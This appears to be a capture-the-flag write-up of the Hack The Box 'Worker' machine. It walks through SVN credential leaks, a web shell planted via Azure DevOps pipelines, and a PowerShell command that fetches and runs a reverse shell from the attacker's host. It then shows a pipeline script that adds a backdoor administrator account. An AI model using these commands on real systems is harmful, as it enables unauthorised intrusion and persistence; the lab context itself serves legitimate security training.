Worker is a medium difficulty Windows machine that features a self-hosted Apache Subversion and Azure DevOps server. Enumerating the Subversion server discovers a set of credentials and a subdomain at which the Azure DevOps is hosted. The credentials can be used to login into Azure DevOps server, which then leveraged to gain a foothold on the box by dropping a web shell. Enumeration inside the box finds another set of credentials that also can be used to login into the Azure DevOps. Using the second credentials I obtained, I’m able to gain administrator access by exploiting Azure Pipeline.
An initial TCP scan with
nmap discovers two open ports: 80 (HTTP) and 3690 (Subversion)
nmap -sC -sV -oN initial-worker 10.10.10.203
Performing another scan on typical Active Directory DC ports shows only WinRM (5985) is open.
TCP — 80 Web
Visiting the port 80 displays the IIS default page.
TCP 3690 — Subversion/SVN
This is my first encounter with Subversion, it is a software for version control that is similar to git. To interact with this service, I’ll need the Subversion client, and fortunately, it was preinstalled in Kali Linux.
The general usage/syntax format as follows:
svn <sub-command> svn://[ip]
- Example of subcommand:
I can use the sub command ls to check the repository list
svn ls svn://10.10.10.203
moved.txt tells that the repository is no longer maintained , and the latest repo is available at http://devops.work.
svn cat svn://10.10.10.203/moved.txt
With the subcommand
info, I find the author of the repository. It also reveals that the repository has 5 revisions (commit).
svn info svn://10.10.10.203
I can check the revision log using the sub command
The commit message on
r2 seems interesting.
I can check the differences between
r2 using the subcommand
diff. The output shows there is a hard-coded credentials.
svn diff -r 1:2 svn://10.10.10.203/
From here, I’ll take note about what I’ve found here.
- Two subdomains:
- A set of credentials:
I’ll add those two subdomains to my
10.10.10.203 dimension.worker.htb devops.worker.htb
Then after I make sure there is nothing left, I’ll revisit port 80 with the newly discovered subdomain.
TCP 80 — dimension.worker.htb
dimension.worker.htb presented with a static page.
It even leads to others static site (with subdomain) which I think they are just decoy.
Before moving on, I’ll add all the subdomains I found on
/#work to my
/etc/hosts. They are:
Azure DevOps — SmartHotel360
http://devops.worker.htb pops an authentication prompt. It logs me in after I entered the credentials I obtained from SVN, and the user,
nathen, is currently working on a project called “SmartHotel360”.
My first objective is to find out what permission do this user have. I clicked the project and try to lookup into the Project Settings.
User permission or group related settings are found to be under the Security menu (Project Settings -> Security Settings).
It seems user
nathen is the only member of the SmartHotel360 Team.
And the SmartHotel360 team is a member of Contributors group and Projects Valid Users, and this is added by default upon creating a team group.
The Contributors group and Projects Valid Users group permissions are defined here, and user
nathen inherits those two groups' permission.
From there, I try to lookup into the project repository.
I find a bunch of website repositories on the Repos menu. These repositories are previously listed on
http://dimension.worker.htb/#work page. User
nathen is the author of these repositories.
On the Pipelines menu, there are Azure Pipelines for some of the sites. Azure Pipelines is CICD feature from Azure DevOps. It is similar to GitHub Action, like it can re-deploy the site if there is a new commit pushed to the main/master branch.
My video recommendation about CICD: https://www.youtube.com/watch?v=scEDHsr3APg
nathen is allowed to queue a builds.
With all of these permission, I can make changes such as dropping a web shell to one of the site repositories that has its own pipeline, say the alpha repository which has Alpha-CI, then I can queue those changes to the pipelines and wait until the site re-deployed/hosted. From there, I should be able to access my web-shell.
On my first attempt, it tells me to use pull requests instead of uploading a file directly to the master branch.
So, I’ll upload my web shell which is
cmdasp.aspx (because the web server is IIS) on a new branch. I’ll be using the alpha repository.
I’ll pick any available work items.
I can just drag and drop the web shell, and commit it afterwards.
From here, I can create a pull request to the master branch to trigger the pipelines or run the Alpha-CI build manually.
With Pull request
If I choose a pull request, it needs to be reviewed first and the reviewer is the user
nathen itself, it can decide whether to approve or reject the pull request (well, actually it was me who decide it). It then queue the build.
With Queue Builds
With this, I can skip the review, and just run the queue builds for my branch (on the image it is shell branch instead of iamf).
After the build finished, I can see my web shell is available at
To gain an interactive shell, I’ll setup a
netcat listener on my Kali, then I'll upload a PowerShell reverse shell called
itsf.ps1 and execute it via the web shell.
powershell.exe "mkdir c:/temp;invoke-webrequest -uri 10.10.14.19/itsf.ps1 -outfile C:\temp\itsf.ps1;C:\temp\itsf.ps1"
I have a shell now on my listener.
Enumerating the user groups and privileges using the
whoami /all command reveals that IIS appool has
SeImpersonatePrivilege which according to BookHackTrick, it can be abused using RogueWinRM.
Unfortunately, the WinRM port was already open, I couldn’t exploit it with RogueWinRM. But, I managed to find another way!
Remote Access as robisl
Enumerating the Users folder finds two users,
restorer (as the name implies, it restore the box configuration, I’ll ignore this).
By using the
net command, it shows that
robisl can login remotely.
net command, I also find there is another drive mounted as
There are 4 folders in the
W:\ drive, the one that interesting is the svnrepos folder.
I can enumerate all folder and sub folder on the
W:\ drive recursively using the
dir command. Because I’m on PowerShell, I have to use
cmd /c <command> keyword.
PS W:\> cmd.exe /c "dir /s /b svnrepos"
Well PowerShell can do that too, but I prefer
PS W:\> Get-ChildItem -Path W:\svnrepos -Filter * -Recurse -ErrorAction SilentlyContinue -Forc
In the output, there is a file called
passwd that immediately draws my attention.
passwd file contains a bunch of credentials, and my eyes caught the password for
PS W:\svnrepos\> gc .\www\conf\passwd
I can login remotely using
robisl credentials with
Exploit Azure Pipelines — Read the Root Flag
After enumerating many things in the remote shell and coming up empty-handed, I returned to Azure DevOps, but this time with a
Long short story,
robisl is member of Build Administrator.
The Build Administrators defined as follows [source].
Exploiting Azure Pipelines
:: Read the Root Flag
So the plan is, I’ll create an Azure pipelines with malicious deployment script/task to execute OS commands.
If I lookup into the agent pool in the Project Settings menu, there is an available agent named ‘Setup’. The agent is owned by an Administrator account, and as a Build Administrator member (inherited), user
robisl also has access to it.
So, let’s execute the plan!
First, I’ll create a pipeline (Pipelines → Builds → New Pipeline).
In the next section, I’ll choose Azure Repos Git.
On the next one, I’ll select “PartsUnlimited” as the repository, because that is the repo where
robisl is working on.
In the Configure section, I’ll select the starter pipeline (I forgot the name, but don’t choose the existing one). After that, I’ll modify the pool and the script in the “Review” section to steal the flag.
The master branch will be the
trigger to run the CI\CD (If I push my changes to the “PartsUnlimited” repository). Since I have access to the “Setup” pool, I’ll use it as the
pool. Lastly, on the
steps you can add a task/script you want to run/do. In my case, I want to read the root flag.
I’ll save it and run it on a new branch.
I’ll let it run and wait for the output log.
Once it completed, I can see the root flag inside the “Steal the flag” output.
:: Create User with Administrator Privileges
I can also create a privileged user using multi-line script.
- script: |
net user iamf YourComplexPassword /add /domain
net localgroup Administrators iamf /add
net localgroup "Remote Management Users" iamf /add
displayName: "Set IamF to Admin"
I can push it again and wait for it to complete.
Now I can login with the newly created user.